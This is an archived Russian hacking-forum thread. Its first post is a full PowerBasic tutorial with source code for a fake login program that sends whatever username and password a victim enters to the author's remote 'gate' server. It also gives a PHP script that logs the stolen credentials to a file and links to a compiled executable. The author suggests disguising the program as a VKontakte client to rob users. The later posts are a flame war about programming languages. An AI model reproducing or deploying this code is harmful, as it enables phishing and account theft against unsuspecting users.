Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

[PowerBasic] отправка login/pass на гейт

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> [PowerBasic] отправка login/pass на гейт
Имя
Сообщение << Старые топики   Новые топики >>
[PowerBasic] отправка login/pass на гейт - 2010-08-08 18:51:55.776666   
Selofan

Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
итак, что будет делать программа - юзер вводит логин/пароль, нажимает "Отправить", и всё это уходит к вам на гейт.

выглядеть это будет примерно так


Начинаем кодить

на ПаверВасике все екзешники начинаются примерно одинаково
quote:


#COMPILER PBWIN 9
#COMPILE EXE
#DIM ALL


затем укажем файл ресурсов. он отличается от стандарта, но вместе с павервасиком идёт конвертер. простым драгенддропом получаем нужный формат. файл ресурсов должен быть в той же папке, что и сам проект, иначе нужно указывать полный путь, типа "C:\OLOLO\TROLOLO.pbr"
quote:


#RESOURCE "Resources.pbr"



дальше инклуд апи. в данном примере он нужен разве что для показа меседжбоксов.
quote:


#INCLUDE "Win32API.inc"



некоторые переменные
quote:


GLOBAL hDlg AS DWORD ' тут храним хендл нашей формы
GLOBAL hThread AS DWORD ' тут храним хендл потока



начинаем родить фейс нашей программы. всё прокомментировано, непоняток не должно быть.
quote:


FUNCTION PBMAIN () AS LONG
DIALOG NEW 0, "Отправлялка",,, 156, 118, %DS_CENTER OR %WS_CAPTION OR %WS_SYSMENU OR %WS_MINIMIZEBOX, 0 TO hDlg ' создаём новое окно

DIALOG SET ICON hDlg, "#1" ' берем иконку для окна из ресурса

CONTROL ADD LABEL, hDlg, -1, "Логин:", 16, 14, 40, 8 ' создаём лейбл
CONTROL ADD TEXTBOX, hDlg, 100, "", 16, 24, 124, 13, %WS_TABSTOP OR %WS_CHILD OR %ES_WANTRETURN OR %ES_AUTOHSCROLL, %WS_EX_CLIENTEDGE ' создаём текстбокс для ввода логина
CONTROL SEND hDlg, 100, %EM_SETMARGINS, %EC_LEFTMARGIN OR %EC_RIGHTMARGIN, MAK(LONG, 0,0) ' отступы в текстбоксе

CONTROL ADD LABEL, hDlg, -2, "Пароль:", 16, 50, 40, 8 ' создаём лейбл
CONTROL ADD TEXTBOX, hDlg, 101, "", 16, 60, 124, 13, %WS_TABSTOP OR %WS_CHILD OR %ES_WANTRETURN OR %ES_PASSWORD OR %ES_AUTOHSCROLL, %WS_EX_CLIENTEDGE ' создаём текстбокс для ввода пароля
CONTROL SEND hDlg, 101, %EM_SETMARGINS, %EC_LEFTMARGIN OR %EC_RIGHTMARGIN, MAK(LONG, 0,0) ' отступы в текстбоксе

CONTROL ADD BUTTON, hDlg, 102, "Отправить", 16, 90, 55, 15, %BS_PUSHBUTTON OR %WS_CHILD OR %WS_VISIBLE OR %WS_TABSTOP ' создаём кнопку "Отправить" (ID 102)
CONTROL ADD BUTTON, hDlg, 103, "Выход", 85, 90, 55, 15, %BS_PUSHBUTTON OR %WS_CHILD OR %WS_VISIBLE OR %WS_TABSTOP ' создаём кнопку "Выход" (ID 103)

DIALOG SHOW MODAL hDlg, CALL WndProc ' показываем созданную форму
END FUNCTION



колбэк функция. тут обрабатываем все события окна
quote:


CALLBACK FUNCTION WndProc () AS LONG
SELECT CASE CBMSG ' ловим сообщения
CASE %WM_COMMAND ' если это комманда
SELECT CASE CBCTL ' смотрим контролы

CASE 102 ' если это кнопка "Отправить" (ID 102)
IF CBCTLMSG = %BN_CLICKED OR CBCTLMSG = 1 THEN ' если кнопка была нажата

' делаем контролы неактивными на время запроса
CONTROL DISABLE hDlg, -1
CONTROL DISABLE hDlg, -2
CONTROL DISABLE hDlg, 100
CONTROL DISABLE hDlg, 101
CONTROL DISABLE hDlg, 102
CONTROL DISABLE hDlg, 103

' создаем поток
THREAD CREATE mThread(hDlg) TO hThread

END IF

CASE 103 ' если нажата кнопка "Выход" (ID 103)
DIALOG END CB.HNDL, 0 ' выходим

END SELECT
END SELECT
END FUNCTION



что будем делать в потоке. гемор с ENABLE/DISABLE контролов сделан для наглядности.
quote:


FUNCTION mThread(BYVAL hDlg AS DWORD) AS LONG
LOCAL hRes AS LONG
' тут вместо моего лепите свой урл. в первом параметре урл, во втором ссылка на страницу (если требуется)
IF SendHTTP("sluter.realms.biz", "") = 1 THEN MessageBox(hDlg, "Данные успешно отправлены", "Информация", %MB_ICONINFORMATION OR %MB_OK)

' активируем контролы
CONTROL ENABLE hDlg, -1
CONTROL ENABLE hDlg, -2
CONTROL ENABLE hDlg, 100
CONTROL ENABLE hDlg, 101
CONTROL ENABLE hDlg, 102
CONTROL ENABLE hDlg, 103
THREAD CLOSE hThread TO hRes ' убиваем поток
END FUNCTION




и самое главное - функция отправки запроса серверу
quote:


FUNCTION SendHTTP(WWW AS STRING, PageName AS STRING) AS LONG
LOCAL hFile&, sTemp$,sBuffer$

LOCAL mPost,mLogin,mPass AS STRING

hFile = FREEFILE ' свободная касса

CONTROL GET TEXT hDlg, 100 TO mLogin ' берем логин с текстбокса и пишем в переменную
CONTROL GET TEXT hDlg, 101 TO mPass ' берем пароль с текстбокса и пишем в переменную

IF LEN(mLogin) = 0 OR LEN(mPass) = 0 THEN MessageBox(hDlg, "Заполните все поля", "Ошибка", %MB_ICONSTOP OR %MB_OK): SendHTTP = 0: EXIT FUNCTION ' если какой-то текстбокс пустой - сваливаем

TCP OPEN "http" AT WWW$ AS #hFile TIMEOUT 10000 ' коннектимся к серверу. таймаут 10 секунд, после чего произойдёт ошибка

IF ERR THEN MessageBox(hDlg, "Не удается подключиться к серверу", "Ошибка", %MB_ICONSTOP OR %MB_OK): SendHTTP = 0: EXIT FUNCTION ' если ошибка (или нет инета, или урл корявый, или ещё что) - бибикаем и сваливаем

IF LEFT$(PageName,1) &lt;&gt; "/" THEN PageName = "/" + PageName ' смотрим, есть ли слеш слева в ссылке на страницу


' формируем запрос и пишем в переменную
mPost = "Login=" + mLogin + "&Pass=" + mPass

sTemp = "POST " + PageName + " HTTP/1.0" + $CRLF
sTemp = sTemp + "Connection: Keep-Alive" + $CRLF
sTemp = sTemp + "Content-Type: application/x-www-form-urlencoded" + $CRLF
sTemp = sTemp + "Content-Length: " + STR$(LEN(mPost)) + $CRLF
sTemp = sTemp + "Host: " & WWW$ + $CRLF
sTemp = sTemp + "Accept: */*" + $CRLF
sTemp = sTemp + "User-Agent: Mozilla/3.0 (compatible)" + $CRLF + $CRLF
sTemp = sTemp + mPost + $CRLF + $CRLF

TCP SEND #hFile, sTemp ' отправляем сформированный пакет

sTemp = "" ' очищаем переменную

DO ' начало цикла
TCP RECV #hFile,4096, sBuffer ' получаем ответ с сервера
sTemp = sTemp & sBuffer ' записываем/дописываем в переменную
IF ISTRUE ERR THEN MessageBox(hDlg, "Возникла ошибка при приеме данных с сервера", "Ошибка", %MB_ICONSTOP OR %MB_OK): SendHTTP = 0: TCP CLOSE hFile: EXIT FUNCTION ' ' если не удается законнектиться - показываем месагу и сваливаем
LOOP UNTIL sBuffer = "" OR ISTRUE EOF(#hFile) ' продолжаем цикл, пока не получим все пакеты

TCP CLOSE hFile ' закрываем соединение

SendHTTP = 1 ' успех
END FUNCTION


вот и всё. сверху можно присобачить какой-то рисунок "Вконтакте Агент", чуть довести до ума внешний вид, и можно смело грабить корованы. Так же не забудьте подправить под своего хостера отправляемый POST-запрос.


В архиве скомпилированный екзешник и исходники. Екзешник из архива отправляет инфу сюда http://sluter.realms.biz/Login.txt

http://letitbit.net/download/38274.38b6cc0cf35e97bacd7e05ebe/Gate.rar.html

http://depositfiles .com/files/rn9vhe1oa




пример гейта
quote:


&lt;?PHP

$Login = $_POST['Login'];
$Pass = $_POST['Pass'];
$c = "$Login:$Pass";
$fp = fopen("Login.txt","a+"); //
fwrite($fp,"$c \n");
fclose($fp);

?&gt;



ПаверВасик ищите в гугле. Последняя версия 9.05
Дерзайте.
Post #: 1
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-08 20:03:01.360000   
stu5002

Сообщений: 61
Оценки: 0
Присоединился: 2009-03-26 17:54:30.160000
Беспалевно для пользователя)
Post #: 2
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-08 20:48:57.843333   
egor455

Сообщений: 200
Оценки: 0
Присоединился: 2010-07-29 15:29:29
quote:

Беспалевно для пользователя)

согласен
ток новичку с этой статьёй не управится слишком много кодировки
попробуй прописать подробнее что было легче новичку
Post #: 3
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-08 22:27:17.813333   
Selofan

Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
те, кто когда либо писал на визуальном барсике, ничего непонятного не встретят.
Post #: 4
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-08 22:55:45.403333   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

quote:

ORIGINAL: Selofan

те, кто когда либо писал на визуальном барсике, ничего непонятного не встретят.


Те, кто писал на нормальных языках это даже смотреть не будут.
Post #: 5
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-08 23:35:37.563333   
Selofan

Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333

quote:


Те, кто писал на нормальных языках это даже смотреть не будут.

мне влом по новой печатать много буковок, посему перечитай эту тему https://hacker-pro.net/showthread.php?t=16868
я так подозреваю что ты тоже готов показать свои наработки только за 50 баксов? ;)

всегда умиляли такие ололошки.


либо аргументируй, либо с тобой тоже всё понятно. ;)
Post #: 6
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 12:49:13.473333   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
"Мои наработки" являются интеллектуальной собственностью дядек, которые мне за них платят деньги. Насчёт того, что всё это фигня и т.п. можешь даже не писать, ибо совсем недавно был случай, что один из ещё не выпущенных продуктов нокии попал на файлообменник и мне моя позиция на работе значительно важнее того, чтобы доказывать очередному "гуру" повервасика то, что его Hello World с формочкой из 4-х контролов и использованием почтового компонента, что ничего революционного в его постах нет. Просто очередной школоло-язык для хэллоу вордов.

P.S. что тебе аргументировать? Чем язык твой плох? Для начала напиши, что он умеет (есть ли нормальная IDE, библиотеки для работы с сетью / XML / базами и т.п., переносим ли он…). Потом уже поговорим.
Post #: 7
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 13:40:23.816666   
Selofan

Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
quote:

Просто очередной школоло-язык для хэллоу вордов.

с++ очередное никому до конца не понятное трололо, на котором кодить нерентабельно, времязатратно и трудозатратно. это как делфи. всё ненужное и неэффективное сливается в СНГ.

quote:

P.S. что тебе аргументировать? Чем язык твой плох?

я это предложил сделать ещё в предыдущем посте. если переспросишь и третий раз - я и третий раз попрошу аргументировать.

quote:

Для начала напиши, что он умеет (есть ли нормальная IDE, библиотеки для работы с сетью / XML / базами и т.п., переносим ли он…). Потом уже поговорим.

зачем? я думал ты осведомлён о возможностях данного языка, раз так уверенно называешь его не нормальным.


давай напомню и третий раз (чтоб переспрашивать не пришлось) - аргументируй.


и на последок. гугл на запрос c++ programmer jobs и visual basic programmer jobs какбэ намекает.
Post #: 8
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 14:29:52.106666   
Fairhawk

Сообщений: 102
Оценки: 0
Присоединился: 2010-05-25 21:10:59.193333
quote:

с++ очередное никому до конца не понятное трололо, на котором кодить нерентабельно, времязатратно и трудозатратно. это как делфи.

Лол)) Улыбнуло. Имхо тебе просто не даются другие языки, и ты всеми руками и ногами, цепляешься за этот "жалкий" бэйсик.
Причем твой гонор, тут не чего не дает, всем и так ясно
Post #: 9
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 15:30:39.076666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

quote:

ORIGINAL: Selofan

quote:

Просто очередной школоло-язык для хэллоу вордов.

с++ очередное никому до конца не понятное трололо, на котором кодить нерентабельно, времязатратно и трудозатратно. это как делфи. всё ненужное и неэффективное сливается в СНГ.

Пруфлинк про нерентабельность можно? Пример хоть одного "кросс-платформенного" языка, более популярного, чем С++ можешь привести?

quote:

ORIGINAL: Selofan
и на последок. гугл на запрос c++ programmer jobs и visual basic programmer jobs какбэ намекает.

Денатурата на тебя нет…. Ты з/п и ценность с++ программеров сравни с васиками для начала.

Ответить на мой вопрос про "преимущества повервасика перед другими языками" и наличия библиотек / IDE ты просто не в состоянии. Логично предположить, что ты - очередной тролль. Так что не вижу смысла продолжать дискуссию, если от тебя только "понты" без аргументов будут сыпаться.
Post #: 10
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 16:44:02.046666   
Fairhawk

Сообщений: 102
Оценки: 0
Присоединился: 2010-05-25 21:10:59.193333
quote:

Пример хоть одного "кросс-платформенного" языка, более популярного, чем С++ можешь привести?

Perl
Post #: 11
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 16:51:40.630000   
Selofan

Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
quote:

Лол)) Улыбнуло. Имхо тебе просто не даются другие языки, и ты всеми руками и ногами, цепляешься за этот "жалкий" бэйсик.
Причем твой гонор, тут не чего не дает, всем и так ясно

ЛОЛ - это аббревиатура. риальни ЛОЛ. ещё напиши чмоке в етам чяте, чтоб развеять все сомнения на счёт школьника. иди пиши всяких Алгоритмах и девелстудиях. ты не в теме.


quote:

Пруфлинк про нерентабельность можно?

я ещё не увидел линков на твои поделки. переставай сливать.

quote:

Пример хоть одного "кросс-платформенного" языка, более популярного, чем С++ можешь привести?

кому нужна твоя кроссплатформенность? сейчас даже банкоматы в селе Нижний Хрен работают на окнах. но это обычная черта деградирующих постоянно цепляться за кросплатформенность. этот аргумент устарел. возвращайся в наш век, марти.


quote:

Денатурата на тебя нет…. Ты з/п и ценность с++ программеров сравни с васиками для начала.

кому нужна твоя ценность? тебе сколько лет? сейчас важна скорость разработки, а не ценность. тебе никто не будет попку подтирать и ждать неделями твоего проэкта только потому, что ты такой крутой и невьебенный, пишешь на си. да всем срать на чём ты пишешь. просыпайся, ты застрял где-то в девяностых.

quote:

Ответить на мой вопрос про "преимущества повервасика перед другими языками" и наличия библиотек / IDE ты просто не в состоянии.

представить линки на свои невьебенные проекты ть не в состоянии.

quote:

Логично предположить, что ты - очередной тролль.

логично предположить, что ты очередной школьник, который слышал звон, но не знает где он.

quote:

Так что не вижу смысла продолжать дискуссию, если от тебя только "понты" без аргументов будут сыпаться.

ты похож на девчёнку, которая затеяла ссору, а потом кивает, мол с ней дружить никто не хочет.


ты такой упоротый и твердолобый. давай начнём сначала.
quote:

Те, кто писал на нормальных языках это даже смотреть не будут.

ответь на вопрос про преимущества сиплюсов перед другими языками, а так же предоставь линки на свои реализованные проекты.
Post #: 12
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 18:09:05.703333   
Fairhawk

Сообщений: 102
Оценки: 0
Присоединился: 2010-05-25 21:10:59.193333
quote:

кому нужна твоя кроссплатформенность? сейчас даже банкоматы в селе Нижний Хрен работают на окнах

Угу, сюда по твоей быдлятине, ты от туда же.
quote:

представить линки на свои невьебенные проекты ть не в состоянии.

Таких как ты, слишком много что бы кому каждому что то доказывать. лол)

quote:

ты такой упоротый и твердолобый. давай начнём сначала.
ты похож на девчёнку, которая затеяла ссору, а потом кивает, мол с ней дружить никто не хочет.

а ты нет ? Жжешь)
Post #: 13
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 18:10:35.453333   
YUFICK

Сообщений: 11
Оценки: 0
Присоединился: 2006-12-12 20:43:27.563333
почему половина постов заканчивается ссорой ???
:@
Post #: 14
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-09 18:16:48.746666   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
Selofan, поверь моему не слишком богатому опыту ~ 5 лет я ковыряю в отладчике различный софт, за это время PowerBasic попался может всего раза 2 и то в каких-то crackme. Сл-но никто ничего серьезного на нем не пишет.
Post #: 15
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-10 15:30:55.063333   
Selofan

Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
quote:

Угу, сюда по твоей быдлятине, ты от туда же.

научись излагать свои мыслишки. перефразируй и попробуй ещё раз. угу.

quote:

Таких как ты, слишком много что бы кому каждому что то доказывать. лол)

таких как ты в интернет не пускают, пока уроки не сделаешь. ЛОЛ

quote:

а ты нет ? Жжешь)

ты забыл написать "фсем чмоке в етам чате. адинадин". школота detected.
больше не отписывайся тут. не позорься.



quote:


Selofan, поверь моему не слишком богатому опыту ~ 5 лет я ковыряю в отладчике различный софт, за это время PowerBasic попался может всего раза 2 и то в каких-то crackme. Сл-но никто ничего серьезного на нем не пишет.

я вообще на павервасике не встречал ни единой проги. но суть не в павервасике, а в товарисче, который пришёл, навонял, пёрднув в лужу и скрылся, так и не представив хоть какой-то говьёный калькулятор на "нормальном" по его упоротому мнению языке. собственно это намекает.
Post #: 16
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-10 16:43:29.613333   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Где модеры… Предупреждение или бан троллю-топиккастеру за переход на личности и закрыть эту флудильню…
Post #: 17
RE: [PowerBasic] отправка login/pass на гейт - 2010-08-10 17:02:59.233333   
Selofan

Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
где цирк! клоуна забыли!
Post #: 18
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> [PowerBasic] отправка login/pass на гейт







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.